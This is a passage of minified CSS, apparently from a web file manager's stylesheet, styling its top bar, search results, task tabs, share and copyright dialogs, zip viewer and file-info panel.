1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.label{font-weight:400;font-size:1em;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p 